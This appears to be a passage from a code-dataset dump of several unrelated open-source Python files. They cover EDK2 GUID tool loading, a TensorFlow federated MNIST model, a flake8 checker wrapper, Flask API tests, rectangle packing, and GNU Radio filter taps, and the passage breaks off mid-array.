GUIDTool(\"a31280ad-481e-41b6-95e8-127f4c984779\", \"TIANO\", \"TianoCompress\"),\n struct2stream(ModifyGuidFormat(\"ee4e5898-3914-4259-9d6e-dc7bd79403cf\")): GUIDTool(\"ee4e5898-3914-4259-9d6e-dc7bd79403cf\", \"LZMA\", \"LzmaCompress\"),\n struct2stream(ModifyGuidFormat(\"fc1bcdb0-7d31-49aa-936a-a4600d9dd083\")): GUIDTool(\"fc1bcdb0-7d31-49aa-936a-a4600d9dd083\", \"CRC32\", \"GenCrc32\"),\n struct2stream(ModifyGuidFormat(\"d42ae6bd-1352-4bfb-909a-ca72a6eae889\")): GUIDTool(\"d42ae6bd-1352-4bfb-909a-ca72a6eae889\", \"LZMAF86\", \"LzmaF86Compress\"),\n struct2stream(ModifyGuidFormat(\"3d532050-5cda-4fd0-879e-0f7f630d5afb\")): GUIDTool(\"3d532050-5cda-4fd0-879e-0f7f630d5afb\", \"BROTLI\", \"BrotliCompress\"),\n }\n\n def __init__(self, tooldef_file: str=None) -> None:\n self.dir = os.path.dirname(__file__)\n self.tooldef_file = tooldef_file if tooldef_file else os.path.join(\n self.dir, \"FMMTConfig.ini\")\n self.tooldef = dict()\n self.load()\n\n def VerifyTools(self) -> None:\n \"\"\"\n Verify Tools and Update Tools path.\n \"\"\"\n path_env = os.environ.get(\"PATH\")\n path_env_list = path_env.split(os.pathsep)\n path_env_list.append(os.path.dirname(__file__))\n path_env_list = list(set(path_env_list))\n for tool in self.tooldef.values():\n cmd = tool.command\n if os.path.isabs(cmd):\n if not os.path.exists(cmd):\n print(\"Tool Not found %s\" % cmd)\n else:\n for syspath in path_env_list:\n if glob.glob(os.path.join(syspath, cmd+\"*\")):\n break\n else:\n print(\"Tool Not found %s\" % cmd)\n\n def load(self) -> None:\n if os.path.exists(self.tooldef_file):\n with open(self.tooldef_file, \"r\") as fd:\n config_data = fd.readlines()\n for line in config_data:\n try:\n guid, short_name, command = line.split()\n new_format_guid = struct2stream(ModifyGuidFormat(guid.strip()))\n self.tooldef[new_format_guid] = GUIDTool(\n guid.strip(), short_name.strip(), command.strip())\n except:\n print(\"GuidTool load error!\")\n continue\n else:\n self.tooldef.update(self.default_tools)\n\n self.VerifyTools()\n\n def __getitem__(self, guid) -> None:\n return self.tooldef.get(guid)\n\n\nguidtools = GUIDTools()\n", "source": "YuweiChen1110/edk2-basetools", "license": "BSD-2-Clause-Patent"}
+{"text": "import numpy as np\nimport tensorflow as tf\nfrom tqdm import trange\n\nfrom fedsimul.utils.model_utils import batch_data\nfrom fedsimul.utils.tf_utils import graph_size\nfrom fedsimul.utils.tf_utils import process_grad\n\n\nclass Model(object):\n '''\n This is the tf model for the MNIST dataset with multiple class learner regression.\n Images are 28px by 28px.\n '''\n\n def __init__(self, num_classes, optimizer, gpu_id=0, seed=1):\n \"\"\" Initialize the learner.\n\n Args:\n num_classes: int\n optimizer: tf.train.Optimizer\n gpu_id: int, default 0\n seed: int, default 1\n \"\"\"\n # params\n self.num_classes = num_classes\n\n # create computation graph\n self.graph = tf.Graph()\n with self.graph.as_default():\n tf.set_random_seed(123 + seed)\n _created = self.create_model(optimizer)\n self.features = _created[0]\n self.labels = _created[1]\n self.train_op = _created[2]\n self.grads = _created[3]\n self.eval_metric_ops = _created[4]\n self.loss = _created[5]\n self.saver = tf.train.Saver()\n\n # set the gpu resources\n gpu_options = tf.compat.v1.GPUOptions(visible_device_list=\"{}\".format(gpu_id), allow_growth=True)\n config = tf.compat.v1.ConfigProto(gpu_options=gpu_options)\n self.sess = tf.Session(graph=self.graph, config=config)\n # self.sess = tf.Session(graph=self.graph)\n\n # REVIEW: find memory footprint and compute cost of the model\n self.size = graph_size(self.graph)\n with self.graph.as_default():\n self.sess.run(tf.global_variables_initializer())\n metadata = tf.RunMetadata()\n opts = tf.profiler.ProfileOptionBuilder.float_operation()\n self.flops = tf.profiler.profile(self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops\n\n def create_model(self, optimizer):\n \"\"\" Model function for Logistic Regression.\n\n Args:\n optimizer: tf.train.Optimizer\n\n Returns:\n tuple: (features, labels, train_op, grads, eval_metric_ops, loss)\n \"\"\"\n features = tf.placeholder(tf.float32, shape=[None, 784], name='features')\n labels = tf.placeholder(tf.int64, shape=[None, ], name='labels')\n logits = tf.layers.dense(inputs=features,\n units=self.num_classes,\n kernel_regularizer=tf.contrib.layers.l2_regularizer(0.001))\n predictions = {\n \"classes\": tf.argmax(input=logits, axis=1),\n \"probabilities\": tf.nn.softmax(logits, name=\"softmax_tensor\")\n }\n loss = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n\n grads_and_vars = optimizer.compute_gradients(loss)\n grads, _ = zip(*grads_and_vars)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=tf.train.get_global_step())\n eval_metric_ops = tf.count_nonzero(tf.equal(labels, predictions[\"classes\"]))\n return features, labels, train_op, grads, eval_metric_ops, loss\n\n def set_params(self, latest_params=None, momentum=False, gamma=0.9):\n \"\"\" Set parameters from server\n\n Args:\n latest_params: list\n list of tf.Variables\n momentum: boolean\n gamma: float\n\n TODO: update variable with its local variable and the value from\n latest_params\n\n TODO: DO NOT set_params from the global, instead, use the global gradient to update\n \"\"\"\n\n if latest_params is not None:\n with self.graph.as_default():\n # previous gradient\n all_vars = tf.trainable_variables()\n for variable, value in zip(all_vars, latest_params):\n if momentum:\n curr_val = self.sess.run(variable)\n new_val = gamma * curr_val + (1 - gamma) * value\n # TODO: use `assign` function instead of `load`\n variable.load(new_val, self.sess)\n else:\n variable.load(value, self.sess)\n\n def get_params(self):\n \"\"\" Get model parameters.\n\n Returns:\n model_params: list\n list of tf.Variables\n \"\"\"\n with self.graph.as_default():\n model_params = self.sess.run(tf.trainable_variables())\n return model_params\n\n def get_gradients(self, data, model_len):\n \"\"\" Access gradients of a given dataset.\n\n Args:\n data: dict\n model_len: int\n\n Returns:\n num_samples: int\n grads: tuple\n \"\"\"\n grads = np.zeros(model_len)\n num_samples = len(data['y'])\n\n with self.graph.as_default():\n model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'],\n self.labels: data['y']})\n grads = process_grad(model_grads)\n\n return num_samples, grads\n\n def solve_inner(self, data, num_epochs=1, batch_size=32):\n '''Solves local optimization problem.\n\n Args:\n data: dict with format {'x':[], 'y':[]}\n num_epochs: int\n batch_size: int\n\n Returns:\n soln: list\n comp: float\n '''\n for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120):\n for X, y in batch_data(data, batch_size):\n with self.graph.as_default():\n self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y})\n soln = self.get_params()\n comp = num_epochs * (len(data['y']) // batch_size) * batch_size * self.flops\n return soln, comp\n\n def test(self, data):\n '''\n Args:\n data: dict of the form {'x': [], 'y': []}\n\n Returns:\n tot_correct: int\n loss: float\n '''\n with self.graph.as_default():\n tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss],\n feed_dict={self.features: data['x'], self.labels: data['y']})\n return tot_correct, loss\n\n def close(self):\n self.sess.close()\n", "source": "cshjin/fedsimul", "license": "MIT"}
+{"text": "\nimport io\nimport logging\nimport os\nimport pathlib\nfrom functools import cached_property, lru_cache\nfrom typing import List, Set, Tuple\n\nfrom flake8.main.application import Application # type:ignore\nfrom flake8 import ( # type:ignore\n utils as flake8_utils,\n checker as flake8_checker)\n\nimport abstracts\n\nfrom aio.core.functional import async_property\nfrom aio.core.directory.utils import directory_context\n\nfrom envoy.code.check import abstract, typing\n\n\nFLAKE8_CONFIG = '.flake8'\n\n\n# Workaround for https://github.com/PyCQA/flake8/issues/1390\nlogging.getLogger(\"flake8.options.manager\").setLevel(logging.ERROR)\n\n\nclass Flake8Application(Application):\n \"\"\"Subclassed flake8.Application to capture output.\"\"\"\n\n @cached_property\n def output_fd(self) -> io.StringIO:\n return io.StringIO()\n\n def make_formatter(self) -> None:\n # ~Hacky workaround to capture flake8 output\n super().make_formatter()\n self.formatter.output_fd = self.output_fd\n self._formatter_stop = self.formatter.stop\n self.formatter.stop = self._stop\n\n def _stop(self) -> None:\n self.output_fd.seek(0)\n self._results: List[str] = [\n x\n for x\n in self.output_fd.read().strip().split(\"\\n\")\n if x]\n self._formatter_stop()\n\n\nclass Flake8App:\n \"\"\"Wrapper around `flake8.main.application.Application`\n\n Provides optimized file discovery using app's lookup tools.\n \"\"\"\n\n def __init__(self, path: str, args: Tuple[str, ...]) -> None:\n self.path = path\n self.args = args\n\n @cached_property\n def app(self) -> Flake8Application:\n \"\"\"Flake8 Application.\"\"\"\n flake8_app = Flake8Application()\n flake8_app.initialize(self.args)\n return flake8_app\n\n @property\n def manager(self) -> flake8_checker.Manager:\n \"\"\"Flake8 file checker manager.\"\"\"\n return self.app.file_checker_manager\n\n def include_file(self, path: str) -> bool:\n \"\"\"Include file according to flake8 config.\"\"\"\n path = os.path.join(self.path, path)\n return (\n self._filename_matches(path)\n and self._include_directory(os.path.dirname(path))\n and not self._is_excluded(path))\n\n def include_files(self, files: Set[str]) -> Set[str]:\n \"\"\"Figure out whether to include a file for checking.\"\"\"\n return set(\n path\n for path\n in files\n if self.include_file(os.path.join(self.path, path)))\n\n def run_checks(self, paths: Set[str]) -> List[str]:\n \"\"\"Run flake8 checks.\"\"\"\n with directory_context(self.path):\n self.app.run_checks(files=paths)\n self.app.report()\n return self.app._results\n\n @cached_property\n def _excluded_paths(self) -> Set[str]:\n return set()\n\n def _filename_matches(self, path: str) -> bool:\n return flake8_utils.fnmatch(\n path,\n self.app.options.filename)\n\n @lru_cache\n def _include_directory(self, path: str) -> bool:\n while True:\n if path == self.path:\n return True\n if not self._include_path(path):\n return False\n path = os.path.dirname(path)\n\n @lru_cache\n def _include_path(self, path: str) -> bool:\n exclude = (\n any(path.startswith(x) for x in self._excluded_paths)\n or self._is_excluded(path))\n if exclude:\n self._excluded_paths.add(path)\n return not exclude\n\n def _is_excluded(self, path: str) -> bool:\n return self.manager.is_path_excluded(path)\n\n\nclass AFlake8Check(abstract.ACodeCheck, metaclass=abstracts.Abstraction):\n \"\"\"Flake8 check for a fileset.\"\"\"\n\n @classmethod\n def check_flake8_files(\n cls,\n path: str,\n args: Tuple[str, ...],\n files: Set[str]) -> List[str]:\n \"\"\"Flake8 checker.\"\"\"\n return Flake8App(\n path,\n args).run_checks(files)\n\n @classmethod\n def filter_flake8_files(\n cls,\n path: str,\n args: Tuple[str, ...],\n files: Set[str]) -> Set[str]:\n \"\"\"Flake8 file discovery.\"\"\"\n return Flake8App(\n path,\n args).include_files(files)\n\n @async_property\n async def checker_files(self) -> Set[str]:\n return await self.execute(\n self.filter_flake8_files,\n self.directory.absolute_path,\n self.flake8_args,\n await self.directory.files)\n\n @property\n def flake8_args(self) -> Tuple[str, ...]:\n \"\"\"Flake configuration args.\"\"\"\n return (\n \"--config\",\n str(self.flake8_config_path),\n str(self.directory.path))\n\n @property\n def flake8_config_path(self) -> pathlib.Path:\n \"\"\"Path to flake8 configuration.\"\"\"\n return self.directory.path.joinpath(FLAKE8_CONFIG)\n\n @async_property\n async def flake8_errors(self) -> List[str]:\n \"\"\"Flake8 error list for check files.\"\"\"\n # Important dont send an empty set to the flake8 checker,\n # as flake8 will check every file in path.\n return (\n await self.execute(\n self.check_flake8_files,\n self.directory.absolute_path,\n self.flake8_args,\n await self.files)\n if await self.files\n else [])\n\n @async_property(cache=True)\n async def problem_files(self) -> typing.ProblemDict:\n \"\"\"Discovered flake8 errors.\"\"\"\n return self.handle_errors(await self.flake8_errors)\n\n def handle_errors(self, errors: List[str]) -> typing.ProblemDict:\n \"\"\"Turn flake8 error list -> `ProblemDict`.\"\"\"\n flake8_errors: typing.ProblemDict = {}\n for error in errors:\n path, message = self._parse_error(error)\n flake8_errors[path] = flake8_errors.get(path, [])\n flake8_errors[path].append(message)\n return flake8_errors\n\n def _parse_error(self, error: str) -> Tuple[str, str]:\n path = error.split(\":\")[0]\n return (\n path,\n f\"{path}: {error.split(':', 1)[1]}\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"}
+{"text": "__author__ = 'meignier'\n\nimport s4d.clustering.hac_bic\nimport s4d.clustering.hac_clr\nimport s4d.clustering.hac_iv\nimport s4d.clustering.hac_utils\nimport s4d.model_iv\nfrom s4d.clustering.cc_iv import ConnectedComponent\nfrom s4d.diar import Diar\nfrom s4d.segmentation import sanity_check, bic_linear, div_gauss\nfrom s4d.viterbi import Viterbi\n\n__version__ = \"0.0.1\"", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"}
+{"text": "from flask import request\nimport pytest\nimport json\nfrom app import create_app, create_rest_api\nfrom db import get_db\nfrom change_light import is_aquarium_id_valid\n\n\n@pytest.fixture\ndef client():\n local_app = create_app()\n create_rest_api(local_app)\n client = local_app.test_client()\n\n yield client\n\ndef get_max_aquarium_id():\n light_data = get_db().execute(\n 'SELECT id, timestamp, default_mode, total_food_quantity'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n return light_data['id']\n\n\ndef test_get_aquarium_light_color_invalid_id(client):\n with create_app().app_context():\n invalid_id = get_max_aquarium_id() + 1\n request = client.get('/lightColor/' + str(invalid_id))\n\n assert request.status_code == 403\n\n\ndef test_get_aquarium_light_color_valid_id(client):\n with create_app().app_context():\n valid_id = get_max_aquarium_id()\n request = client.get('/lightColor/' + str(valid_id))\n\n assert request.status_code == 200\n\n\ndef test_change_light_color_valid_aquarium_id(client):\n color = 'test_color'\n with create_app().app_context():\n valid_id = get_max_aquarium_id()\n\n request = client.put('/lightColor/' + str(valid_id) + '?color=' + color)\n\n assert request.status_code == 200\n\n\ndef test_change_light_color_invalid_aquarium_id(client):\n color = 'test_color'\n with create_app().app_context():\n invalid_id = get_max_aquarium_id() + 1\n\n request = client.put('/lightColor/' + str(invalid_id) + '?color=' + color)\n\n assert request.status_code == 403", "source": "UnibucProjects/SmartAquarium", "license": "MIT"}
+{"text": "import copy\nimport math\nimport numpy as np\n\n# import rpack\nfrom rectpack import newPacker\nfrom rectpack.maxrects import MaxRectsBssf\n\n\ndef _change_dim_order(sizes):\n return [[s[1], s[0]] for s in sizes]\n\n\n# def get_pack_coords(sizes):\n# # list of [height, width] i.e. img.shape order\n# sizes = _change_dim_order(sizes)\n# positions = rpack.pack(sizes)\n# return _change_dim_order(positions)\n\n\ndef _pack(rectangles, bins):\n packer = newPacker(pack_algo=MaxRectsBssf)\n\n for r in rectangles:\n packer.add_rect(*r)\n\n for b in bins:\n packer.add_bin(*b)\n\n packer.pack()\n\n all_rects = packer.rect_list()\n\n res = []\n for rect in all_rects:\n res.append(np.array(rect))\n\n res = np.array(res)\n res.view('i8,i8,i8,i8,i8,i8,').sort(order=['f5'], axis=0)\n res = [list(i) for i in res[:, 1:3]]\n return res\n\n\ndef get_pack_coords(sizes):\n s = copy.deepcopy(sizes)\n [s[i].append(i + 1) for i in range(len(s))]\n s = np.array([np.array(i) for i in s]).copy()\n\n total_h, total_w, _ = s.sum(axis=0)\n max_h = s[:, 0].max(axis=0)\n\n virtual_cols = math.ceil(math.sqrt(len(sizes)))\n height_limit = max(max_h, int(1.2 * (total_h / virtual_cols)))\n\n rectangles = [tuple(i) for i in s]\n bins = [(height_limit, total_w)]\n\n coords = _pack(rectangles, bins)\n\n if len(coords) != len(sizes):\n coords = _pack(rectangles, [(int(2 * max_h), total_w)])\n\n return coords\n", "source": "1mplex/segmentation_image_augmentation", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n#\n# Create filter taps to use for interpolation filter in\n# clock recovery algorithm. These taps are copied from\n# GNU Radio at gnuradio/filter/interpolator_taps.h.\n#\n# This file includes them in natural order and I want\n# them stored in reversed order such that they can be\n# used directly.\n#\n\nfilters = [\n [ 0.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00, 1.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00 ],\n [ -1.54700e-04, 8.53777e-04, -2.76968e-03, 7.89295e-03, 9.98534e-01, -5.41054e-03, 1.24642e-03, -1.98993e-04 ],\n [ -3.09412e-04, 1.70888e-03, -5.55134e-03, 1.58840e-02, 9.96891e-01, -1.07209e-02, 2.47942e-03, -3.96391e-04 ],\n [ -4.64053e-04, 2.56486e-03, -8.34364e-03, 2.39714e-02, 9.95074e-01, -1.59305e-02, 3.69852e-03, -5.92100e-04 ],\n [ -6.18544e-04, 3.42130e-03, -1.11453e-02, 3.21531e-02, 9.93082e-01, -2.10389e-02, 4.90322e-03, -7.86031e-04 ],\n [ -7.72802e-04, 4.27773e-03, -1.39548e-02, 4.04274e-02, 9.90917e-01, -2.60456e-02, 6.09305e-03, -9.78093e-04 ],\n [ -9.26747e-04, 5.13372e-03, -1.67710e-02, 4.87921e-02, 9.88580e-01, -3.09503e-02, 7.26755e-03, -1.16820e-03 ],\n [ -1.08030e-03, 5.98883e-03, -1.95925e-02, 5.72454e-02, 9.86071e-01, -3.57525e-02, 8.42626e-03, -1.35627e-03 ],\n [ -1.23337e-03, 6.84261e-03, -2.24178e-02, 6.57852e-02, 9.83392e-01, -4.04519e-02, 9.56876e-03, -1.54221e-03 ],\n [ -1.38589e-03, 7.69462e-03, -2.52457e-02, 7.44095e-02, 9.80543e-01, -4.50483e-02, 1.06946e-02, -1.72594e-03 ],\n [ -1.53777e-03, 8.54441e-03, -2.80746e-02, 8.31162e-02, 9.77526e-01, -4.95412e-02, 1.18034e-02, -1.90738e-03 ],\n [ -1.68894e-03, 9.39154e-03, -3.09033e-02, 9.19033e-02, 9.74342e-01, -5.39305e-02, 1.28947e-02, -2.08645e-03 ],\n [ -1.83931e-03, 1.02356e-02, -3.37303e-02, 1.00769e-01, 9.70992e-01, -5.82159e-02, 1.39681e-02, -2.26307e-03 ],\n [ -1.98880e-03, 1.10760e-02, -3.65541e-02, 1.09710e-01, 9.67477e-01, -6.23972e-02, 1.50233e-02, -2.43718e-03 ],\n [ -2.13733e-03, 1.19125e-02, -3.93735e-02, 1.18725e-01, 9.63798e-01, -6.64743e-02, 1.60599e-02, -2.60868e-03 ],\n [ -2.28483e-03, 1.27445e-02, -4.21869e-02, 1.27812e-01, 9.59958e-01, -7.04471e-02, 1.70776e-02, -2.77751e-03 ],\n [ -2.43121e-03, 1.35716e-02, -4.49929e-02, 1.36968e-01, 9.55956e-01, -7.43154e-02, 1.80759e-02, -2.94361e-03 ],\n [ -2.57640e-03, 1.43934e-02, -4.77900e-02, 1.46192e-01, 9.51795e-01, -7.80792e-02, 1.90545e-02, -3.10689e-03 ],\n [ -2.72032e-03, 1.52095e-02, -5.05770e-02, 1.55480e-01, 9.47477e-01, -8.17385e-02, 2.00132e-02, -3.26730e-03 ],\n [ -2.86289e-03, 1.60193e-02, -5.33522e-02, 1.64831e-01, 9.43001e-01, -8.52933e-02, 2.09516e-02, -3.42477e-03 ],\n [ -3.00403e-03, 1.68225e-02, -5.61142e-02, 1.74242e-01, 9.38371e-01, -8.87435e-02, 2.18695e-02, -3.57923e-03 ],\n [ -3.14367e-03, 1.76185e-02, -5.88617e-02, 1.83711e-01, 9.33586e-01, -9.20893e-02, 2.27664e-02, -3.73062e-03 ],\n [ -3.28174e-03, 1.84071e-02, -6.15931e-02, 1.93236e-01, 9.28650e-01, -9.53307e-02, 2.36423e-02, -3.87888e-03 ],\n [ -3.41815e-03, 1.91877e-02, -6.43069e-02, 2.02814e-01, 9.23564e-01, -9.84679e-02, 2.44967e-02, -4.02397e-03 ],\n [ -3.55283e-03, 1.99599e-02, -6.70018e-02, 2.12443e-01, 9.18329e-01, -1.01501e-01, 2.53295e-02, -4.16581e-03 ],\n [ -3.68570e-03, 2.07233e-02, -6.96762e-02, 2.22120e-01, 9.12947e-01, -1.04430e-01, 2.61404e-02, -4.30435e-03 ],\n [ -3.81671e-03, 2.14774e-02, -7.23286e-02, 2.31843e-01, 9.07420e-01, -1.07256e-01, 2.69293e-02, -4.43955e-03 ],\n [ -3.94576e-03, 2.22218e-02, -7.49577e-02, 2.41609e-01, 9.01749e-01, -1.09978e-01, 2.76957e-02, -4.57135e-03 ],\n [ -4.07279e-03, 2.29562e-02, -7.75620e-02, 2.51417e-01, 8.95936e-01, -1.12597e-01, 2.84397e-02, -4.69970e-03 ],\n [ -4.19774e-03, 2.36801e-02, -8.01399e-02, 2.61263e-01, 8.89984e-01, -1.15113e-01, 2.91609e-02, -4.82456e-03 ],\n [ -4.32052e-03, 2.43930e-02, -8.26900e-02, 2.71144e-01, 8.83893e-01, -1.17526e-01, 2.98593e-02, -4.94589e-03 ],\n [ -4.44107e-03, 2.50946e-02, -8.52109e-02, 2.81060e-01, 8.77666e-01, -1.19837e-01, 3.05345e-02, -5.06363e-03 ],\n [ -4.55932e-03, 2.57844e-02, -8.77011e-02, 2.91006e-01, 8.71305e-01, -1.22047e-01, 3.11866e-02, -5.17776e-03 ],\n [ -4.67520e-03, 2.64621e-02, -9.01591e-02, 3.00980e-01, 8.64812e-01, -1.24154e-01, 3.18153e-02, -5.28823e-03 ],\n [ -4.78866e-03, 2.71272e-02, -9.25834e-02, 3.10980e-01, 8.58189e-01, -1.26161e-01, 3.24205e-02, -5.39500e-03 ],\n [ -4.89961e-03, 2.77794e-02, -9.49727e-02, 3.21004e-01, 8.51437e-01, -1.28068e-01, 3.30021e-02, -5.49804e-03 ],\n [ -5.00800e-03, 2.84182e-02, -9.73254e-02, 3.31048e-01, 8.44559e-01, -1.29874e-01, 3.35600e-02, -5.59731e-03 ],\n [ -5.11376e-03, 2.90433e-02, -9.96402e-02, 3.41109e-01, 8.37557e-01, -1.31581e-01, 3.40940e-02, -5.69280e-03 ],\n [ -5.21683e-03, 2.96543e-02, -1.01915e-01, 3.51186e-01, 8.30432e-01, -1.33189e-01, 3.46042e-02, -5.78446e-03 ],\n [ -5.31716e-03, 3.02507e-02, -1.04150e-01, 3.61276e-01, 8.23188e-01, -1.34699e-01, 3.50903e-02, -5.87227e-03 ],\n [ -5.41467e-03, 3.08323e-02, -1.06342e-01, 3.71376e-01, 8.15826e-01, -1.36111e-01, 3.55525e-02, -5.95620e-03 ],\n [ -5.50931e-03, 3.13987e-02, -1.08490e-01, 3.81484e-01, 8.08348e-01, -1.37426e-01, 3.59905e-02, -6.03624e-03 ],\n [ -5.60103e-03, 3.19495e-02, -1.10593e-01, 3.91596e-01, 8.00757e-01, -1.38644e-01, 3.64044e-02, -6.11236e-03 ],\n [ -5.68976e-03, 3.24843e-02, -1.12650e-01, 4.01710e-01, 7.93055e-01, -1.39767e-01, 3.67941e-02, -6.18454e-03 ],\n [ -5.77544e-03, 3.30027e-02, -1.14659e-01, 4.11823e-01, 7.85244e-01, -1.40794e-01, 3.71596e-02, -6.25277e-03 ],\n [ -5.85804e-03, 3.35046e-02, -1.16618e-01, 4.21934e-01, 7.77327e-01, -1.41727e-01, 3.75010e-02, -6.31703e-03 ],\n [ -5.93749e-03, 3.39894e-02, -1.18526e-01, 4.32038e-01, 7.69305e-01, -1.42566e-01, 3.78182e-02, -6.37730e-03 ],\n [ -6.01374e-03, 3.44568e-02, -1.20382e-01, 4.42134e-01, 7.61181e-01, -1.43313e-01, 3.81111e-02, -6.43358e-03 ],\n [ -6.08674e-03, 3.49066e-02, -1.22185e-01, 4.52218e-01, 7.52958e-01, -1.43968e-01, 3.83800e-02, -6.48585e-03 ],\n [ -6.15644e-03, 3.53384e-02, -1.23933e-01, 4.62289e-01, 7.44637e-01, -1.44531e-01, 3.86247e-02, -6.53412e-03 ],\n [ -6.22280e-03, 3.57519e-02, -1.25624e-01, 4.72342e-01, 7.36222e-01, -1.45004e-01, 3.88454e-02, -6.57836e-03 ],\n [ -6.28577e-03, 3.61468e-02, -1.27258e-01, 4.82377e-01, 7.27714e-01, -1.45387e-01, 3.90420e-02, -6.61859e-03 ],\n [ -6.34530e-03, 3.65227e-02, -1.28832e-01, 4.92389e-01, 7.19116e-01, -1.45682e-01, 3.92147e-02, -6.65479e-03 ],\n [ -6.40135e-03, 3.68795e-02, -1.30347e-01, 5.02377e-01, 7.10431e-01, -1.45889e-01, 3.93636e-02, -6.68698e-03 ],\n [ -6.45388e-03, 3.72167e-02, -1.31800e-01, 5.12337e-01, 7.01661e-01, -1.46009e-01, 3.94886e-02, -6.71514e-03 ],\n [ -6.50285e-03, 3.75341e-02, -1.33190e-01, 5.22267e-01, 6.92808e-01, -1.46043e-01, 3.95900e-02, -6.73929e-03 ],\n [ -6.54823e-03, 3.78315e-02, -1.34515e-01, 5.32164e-01, 6.83875e-01, -1.45993e-01, 3.96678e-02, -6.75943e-03 ],\n [ -6.58996e-03, 3.81085e-02, -1.35775e-01, 5.42025e-01, 6.74865e-01, -1.45859e-01, 3.97222e-02, -6.77557e-03 ],\n [ -6.62802e-03, 3.83650e-02, -1.36969e-01, 5.51849e-01, 6.65779e-01, -1.45641e-01, 3.97532e-02, -6.78771e-03 ],\n [ -6.66238e-03, 3.86006e-02, -1.38094e-01, 5.61631e-01, 6.56621e-01, -1.45343e-01, 3.97610e-02, -6.79588e-03 ],\n [ -6.69300e-03, 3.88151e-02, -1.39150e-01, 5.71370e-01, 6.47394e-01, -1.44963e-01, 3.97458e-02, -6.80007e-03 ],\n [ -6.71985e-03, 3.90083e-02, -1.40136e-01, 5.81063e-01, 6.38099e-01, -1.44503e-01, 3.97077e-02, -6.80032e-03 ],\n [ -6.74291e-03, 3.91800e-02, -1.41050e-01, 5.90706e-01, 6.28739e-01, -1.43965e-01, 3.96469e-02, -6.79662e-03 ],\n [ -6.76214e-03, 3.93299e-02, -1.41891e-01, 6.00298e-01, 6.19318e-01, -1.43350e-01, 3.95635e-02, -6.78902e-03 ],\n [ -6.77751e-03, 3.94578e-02, -1.42658e-01, 6.09836e-01, 6.09836e-01, -1.42658e-01, 3.94578e-02, -6.77751e-03 ],\n [ -6.78902e-03, 3.95635e-02, -1.43350e-01, 6.19318e-01, 6.00298e-01, -1.41891e-01, 3.93299e-02, -6.76214e-03 ],\n [ -6.79662e-03, 3.96469e-02, -1.43965e-01, 6.28739e-01, 5.90706e-01, -1.41050e-01, 3.91800e-02, -6.74291e-03 ],\n [ -6.80032e-03, 3.97077e-02, -1.44503e-01, 6.38099e-01, 5.81063e-01, -1.40136e-01, 3.90083e-02, -6.71985e-03 ],\n [ -6.80007e-03, 3.97458e-02, -1.44963e-01, 6.47394e-01, 5.71370e-01, -1.39150e-01, 3.88151e-02, -6.69300e-03 ],\n [ -6.79588e-03, 3.97610e-02, -1.45343e-01, 6.56621e-01, 5.61631e-01, -1.38094e-01, 3.86006e-02, -6.66238e-03 ],\n [ -6.78771e-03, 3.97532e-02, -1.45641e-01, 6.65779e-01, 5.51849e-01, -1.36969e-01, 3.83650e-02, -6.62802e-03 ],\n [ -6.77557e-03, 3.97222e-02, -1.45859e-01, 6.74865e-01, 5.42025e-01, -1.35775e-01, 3.81085e-02, -6.58996e-03 ],\n [ -6.75943e-03, 3.96678e-02, -1.45993e-01, 6.83875e-01, 5.32164e-01, -1.34515e-01, 3.78315e-02, -6.54823e-03 ],\n [ -6.73929e-03, 3.95900e-02, -1.46043e-01, 6.92808e-01, 5.22267e-01, -1.33190e-01, 3.75341e-02, -6.50285e-03 ],\n [ -6.71514e-03, 3.94886e-02, -1.46009e-01, 7.01661e-01, 5.12337e-01, -1.31800e-01, 3.72167e-02, -6.45388e-03 ],\n [ -6.68698e-03, 3.93636e-02, -1.45889e-01, 7.10431e-01, 5.02377e-01, -1.30347e-01, 3.68795e-02, -6.40135e-03 ],\n [ -6.65479e-03, 3.92147e-02, -1.45682e-01, 7.19116e-01, 4.92389e-01, -1.28832e-01, 3.65227e-02, -6.34530e-03 ],\n [ -6.61859e-03, 3.90420e-02, -1.45387e-01, 7.27714e-01, 4.82377e-01, -1.27258e-01, 3.61468e-02, -6.28577e-03 ],\n [ -6.57836e-03, 3.88454e-02, -1.45004e-01, 7.36222e-01, 4.72342e-01, -1.25624e-01, 3.57519e-02, -6.22280e-03 ],\n [ -6.53412e-03, 3.86247e-02, -1.44531e-01, 7.44637e-01, 4.62289e-01, -1.23933e-01, 3.53384e-02, -6.15644e-03 ],\n [ -6.48585e-03, 3.83800e-02, -1.43968e-01, 7.52958e-01, 4.52218e-01, -1.22185e-01, 3.49066e-02, -6.08674e-03 ],\n [ -6.43358e-03, 3.81111e-02, -1.43313e-01, 7.61181e-01, 4.42134e-01, -1.20382e-01, 3.44568e-02, -6.01374e-03 ],\n [ -6.37730e-03, 3.78182e-02, -1.42566e-01, 7.69305e-01, 4.32038e-01, -1.18526e-01, 3.39894e-02, -5.93749e-03 ],\n [ -6.31703e-03, 3.75010e-02, -1.41727e-01, 7.77327e-01, 4.21934e-01, -1.16618e-01, 3.35046e-02, -5.85804e-03 ],\n [ -6.25277e-03, 3.71596e-02, -1.40794e-01, 7.85244e-01, 4.11823e-01, -1.14659e-01, 3.30027e-02, -5.77544e-03 ],\n [ -6.18454e-03, 3.67941e-02, -1.39767e-01, 7.93055e-01, 4.01710e-01, -1.12650e-01, 3.24843e-02, -5.68976e-03 ],\n [ -6.11236e-03, 3.64044e-02, -1.38644e-01, 8.00757e-01, 3.91596e-01, -1.10593e-01, 3.19495e-02, -5.60103e-03 ],\n [ -6.03624e-03, 3.59905e-02, -1.37426e-01, 8.08348e-01, 3.81484e-01, -1.08490e-01, 3.13987e-02, -5.50931e-03 ],\n [ -5.95620e-03, 3.55525e-02, -1.36111e-01, 8.15826e-01, 3.71376e-01, -1.06342e-01, 3.08323e-02, -5.41467e-03 ],\n [ -5.87227e-03, 3.50903e-02, -1.34699e-01, 8.23188e-01, 3.61276e-01, -1.04150e-01, 3.02507e-02, -5.31716e-03 ],\n [ -5.78446e-03, 3.46042e-02, -1.33189e-01, 